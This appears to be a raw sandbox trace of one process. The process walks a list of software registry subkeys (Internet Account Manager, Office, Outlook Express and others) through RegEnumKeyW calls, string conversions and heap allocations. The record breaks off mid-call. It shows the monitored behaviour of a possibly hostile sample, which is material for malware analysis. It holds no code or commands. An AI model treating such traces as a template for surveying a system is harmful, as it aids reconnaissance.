0x226bbb8 [0139.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x226c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.912] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x226b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x226c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0139.912] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.912] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.075] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0140.075] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x226b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0140.075] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0140.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0140.075] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x226c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0140.076] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.076] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.076] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0140.076] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0140.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x226b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0140.076] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.076] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x226c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0140.076] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.076] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0140.076] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.076] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0140.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x226b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0140.076] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.076] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x226c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0140.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x226b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x226c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0140.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x226b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0140.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x226b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x226c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0140.076] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x226b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x226c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0140.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x226b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x226c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0140.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x226b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x226c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0140.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x226b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x226c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0140.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x226b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x226c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0140.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x226b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x226c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0140.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x226b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x226c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0140.077] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x226b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x226c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0140.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x226b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0140.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x226b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x226c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0140.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x226b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x226c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0140.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x226b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x226c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0140.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x226b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0140.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x226b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x226c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0140.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x226b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0140.078] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x226b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x226c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0140.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x226b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0140.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x226b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x226c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0140.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x226b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x226c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0140.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x226b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x226c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0140.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x226b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x226c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0140.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x226b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0140.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x226c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0140.079] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x226b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0140.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x226b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x226c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0140.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x226b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x226c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0140.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x226b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x226c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0140.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x226b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0140.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x226b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 